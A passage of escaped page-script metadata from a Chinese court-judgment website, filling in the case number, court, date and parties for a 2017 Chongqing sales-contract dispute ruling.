（2017）渝0106民初2804号\");$(\"#hidDocID\").val(\"6a5685bb-0684-49a9-8abf-a76300bd8e2e\");$(\"#hidCaseName\").val(\"沙坪坝区杰胜建材经营部与姚绍彦、重庆盛兆建筑劳务有限公司买卖合同纠纷一审民事裁定书\");$(\"#hidCaseNumber\").val(\"（2017）渝0106民初2804号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"重庆市沙坪坝区人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"2450\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"重庆市沙坪坝区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"买卖合同纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2017-04-18\" },{ name: \"当事人\", key:
\"appellor\", value: \"沙坪坝区杰胜建材经营部,姚绍彦,重庆盛兆建筑劳务有限公司\" }],LegalBase: []};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"沙坪坝区杰胜建材经营部与姚绍彦、重庆盛兆建筑劳务有限公司买卖合同纠纷一审民事裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2017-04-28\\\\\",\\\\\